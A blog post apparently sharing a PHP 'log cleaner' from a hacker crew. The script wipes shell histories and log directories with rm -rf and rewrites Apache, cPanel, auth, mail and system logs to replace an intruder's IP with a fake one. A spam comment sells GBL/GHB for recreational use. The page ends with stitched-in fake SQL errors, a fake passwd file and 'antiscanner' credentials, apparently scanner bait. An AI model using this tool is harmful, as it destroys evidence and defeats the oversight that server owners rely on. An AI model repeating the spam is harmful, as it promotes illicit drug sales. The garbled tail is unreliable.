[PHP]Server Log Cleaner

1 comment
http://pastebin.com/sw35RCHr
__________________________
<?php
/*
#########################################
#---------------------------------------#
#    Pr1v8 HK lOg cLeAnEr v.1 - 2011    #
#           Dev @ 2012-Apr-01           #
#---------------------------------------#
#     Coded by : HaNniBaL KsA (HK)      #
#       Email : hk@r00t-s3c.com         #
#      Crew : r00t-s3cur1ty (rS)        #
#---------------------------------------#
#########################################

Greet'z 2 :
           Al-k!nG - Dr.Selv3r - MR.DH - Dr.KroOoZ - Rab3oun - RiSkY - Or4nG.M4n
           HaCk4PuNiSh , Red-Virus , Mr.Hx , QaTaR-Attack - Abo Amira ...So on (:

S.Greet'z 2 : r00t-s3c.com , p0c.cc , sec4ever.com
              alm3refh.com (Alm3refh team & Alm3refh Student)

  *NOTE!! :
    Use these scripts entirely at your own risk.
    The author cannot be held responsible for any damage, direct nor consequential,
    caused by the use of, or inability to use the techniques or scripts presented here.

   " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
*/
error_reporting(0);
set_time_limit(0);
# plz don't remove this
print "nn        +-------------------------------------------+n";
print "        |      Pr1v8 HK lOg cLeAnEr v.1 - 2011      |n";
print "        |             Dev @ 2012-Apr-01             |n";
print "        +-------------------------------------------+n";
print "        |           By: HaNniBaL KsA (HK)           |n";
print "        +-------------------------------------------+nn";
if($argc < 2){ # no option
die("[#] Usage : php ".$argv[0]." [OPTIONS]n    E.x : php ".$argv[0]." clean blah!nn[!] Try : "php ".$argv[0]." -h" for more options.nn"); # show how it'z works and exit
} elseif ($argv[1] == "-h" or $argv[1] == "--help" or $argv[1] == "help"){ # check if enter the help command not the ip
print "Usage: php ".$argv[0]." [OPTIONS]n
Options:
   -c, --clean            Replace your IP-Adress in log file'z with a Fake-IP-Adress.
   -d, --delete           Delete the history & log file'z.
   -h, --help             This shity message.

   Option "-c" Usage : php ".$argv[0]." -c <IP> <FAKE-IP>
               E.x   : php ".$argv[0]." -c 127.0.0.1 123.4.5.6nn";
sleep(1); # just stop for a moment
die(); # exit
} elseif ($argv[1] == "-d" or $argv[1] == "--delete" or $argv[1] == "delete"){ # check if enter the help command not the ip
$delete = array('history -c','rm .bash_history','rm -rf /tmp/logs','rm -rf $HISTFILE','rm -rf /root/.ksh_history','rm -rf /root/.bash_history','rm -rf /root/.ksh_history','rm -rf /root/.bash_logout','rm -rf /usr/local/apache/logs','rm -rf /usr/local/apache/log','rm -rf /var/apache/logs','rm -rf /var/apache/log','rm -rf /var/run/utmp','rm -rf /var/logs ','rm -rf /var/log','rm /etc/httpd/logs/*','rm /usr/local/cpanel/logs/*');
print "nn[!] Deleting ..nn"; # tell the user it'z 'll be closed
sleep(2); # just stop for a moment
foreach ($delete as $del){
$doit = system($del);
if($doit == true){
echo "n[!] DONE! with "$del":Dn"; # print the log that has been cleaned
sleep(1); # just stop for a moment
} else { # if isn't cleaned
echo "n[!] ERROR! with "$del" xDn"; # print the log that has not been cleaned
sleep(1); # just stop for a momment}
}
print "nn[!] Killing it ...nn"; # tell the user it'z 'll be closed
sleep(1); # just stop for a moment
die(); # exit
}
} elseif ($argv[1] == "-c" or $argv[1] == "--clean" or $argv[1] == "clean") { # if enter clean option
$ip = $argv[2]; # set the ip
$fake = $argv[3]; # set the fake ip for replace the ip
if($ip == false){ # check if enterd the ip
print "nn[!] Plz enter your IP that you want us replace it for you.nn";
sleep(1); # just stop for a moment
die(); # exit
} elseif ($fake == false){ # check if enterd the fake ip
print "[!] Plz enter the Fake IP for replace it with your IP.nn";
sleep(1); # just stop for a moment
die(); # exit
} else {
# log'z you can edit and/or add
$logs = array('/etc/httpd/logs/access_log','/etc/httpd/logs/access_log.1','/etc/httpd/logs/access_log.2','/etc/httpd/logs/access_log.3','/etc/httpd/logs/access_log.4','/etc/httpd/logs/error_log','/etc/httpd/logs/error_log.1','/etc/httpd/logs/error_log.2','/etc/httpd/logs/error_log.3','/etc/httpd/logs/error_log.4','/usr/local/apache/logs/error_log','/usr/local/apache/logs/suexec_log','/etc/httpd/logs/modsec_audit.log','/etc/httpd/logs/modsec_debug.log','/var/log/httpd/error_log','/var/log/apache2/error.log','/var/log/httpd-error.log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/var/log/auth.log','/var/log/kern.log','/var/log/cron.log','/var/log/boot.log','/var/log/mysqld.log','/var/log/secure','/var/log/utmp','/var/log/wtmp','/var/log/yum.log','/var/log/Xorg.0.log','/var/log/wvdialconf.log','/var/log/user.log','/var/log/pycentral.log','/var/log/mail.log','/var/log/apport.log','/var/log/auth.log','/var/bootstrap.log','/var/log/daemon.log','/var/log/dpkg.log','/var/log/fontconfig.log','/var/log/lpr.log','/var/log/chkservd.log','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/exim_rejectlog','/var/log/exim/rejectlog','/var/log/maillog','/var/log/messages','/usr/local/apache/domlogs/ftpxferlog','/var/log/xferlog','/var/log/nctfpd.errs','/var/log/httpsd/ssl.access_log','/var/log/ncftpd/misclog.txt','/var/log/nctfpd.errs');
foreach($logs as $log){
$file = file_get_contents($log); # read the log'z
$file = str_replace($ip, $fake, $file); # replace your ip with the fake ip
file_put_contents($log, $file); # save it
if($file == true){ # if is cleaned
echo "n[!] DONE! with : "$log" -> Cleaned ! :Dn"; # print the log that has been cleaned
sleep(1); # just stop for a moment
} else { # if isn't cleaned
echo "n[!] ERROR! with : "$log" -> Not cleaned ! xDn"; # print the log that has not been cleaned
sleep(1); # just stop for a moment
}
}
print "nn[!] Killing it ...nn"; # tell the user it'z 'll be closed
sleep(1); # just stop for a moment
die(); # exit
}
}
?>

1 comment:

  1. GBL (gamma butyrolactone) is medication or compound that, after administration, is metabolized into a pharmacologically active product. Inactive products are pharmacologically inactive medications that are metabolized into an active form within the body. Order GBL Powder online now for recreational purposes. You can either take the GBL and wait for your system to synthesis it for you or go directly for GHB Powder, GHB Liquid.
    -- VV1ckr : imdasource --
    -- VVhatsapp : +1 213-357-5684 --
    Web--> https://milestonechemshop.com/product/gbl/
    gbl tire cleaner,
    griot's garage wheel cleaner gbl,
    griots wheel cleaner gbl,
    gamma butyrolactone wheel cleaner,
    gbl wheel brite,
    gbl wheel cleaner kopen,
    gbl cleaner amazon,
    magic wheel cleaner gbl,
    p21s wheel cleaner gbl,
    trinova wheel cleaner gbl,
    gbl alloy wheel cleaner uk,
    gbl wheel cleaner 99 96%,
    wheel cleaner (gbl 99.99%),
    gbl liquid price,

    ReplyDelete

Powered by Blogger.
Warning: include(4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3

Microsoft SQL Native Client error '80040e14
Unclosed quotation mark after the character string
Query failed: ERROR: syntax error at or near \"'\" at character 56 in home/www/regs/home.php on line 121.
SQLSTATE: 42000 (ER_SYNTAX_ERROR) You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
ORACLE-00933: SQL command not properly ended
function antiscanner($antiscanner)
{
return \$antiscanner;
}
\"/usr/local/bin\"
\"c:/www/regs/home\"
define( 'DB_NAME', 'database' );
define( 'DB_USER', 'www.localhost.com' );
define( 'DB_PASSWORD', 'antiscanner' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc:bin:!:2:2::/bin:sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm:uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest:
SomeCustomInjectedHeader:injected_by_wvs
PROJECTS
Raven
DevAssistant
Pascal Trainer
Meow encoder 0.2
PROJECT LIST
TOOLS
Hacking
Forensic
Developer tools
Reverse engineering
APP LIST
DOCUMENTS
Hacking
Metasploit
Coding
Web development
SOURCE CODE
C#, VB.NET C++ Delphi VB6
Python PHP Perl Bash Batch
HTML, CSS, Javascript
Autoit AHK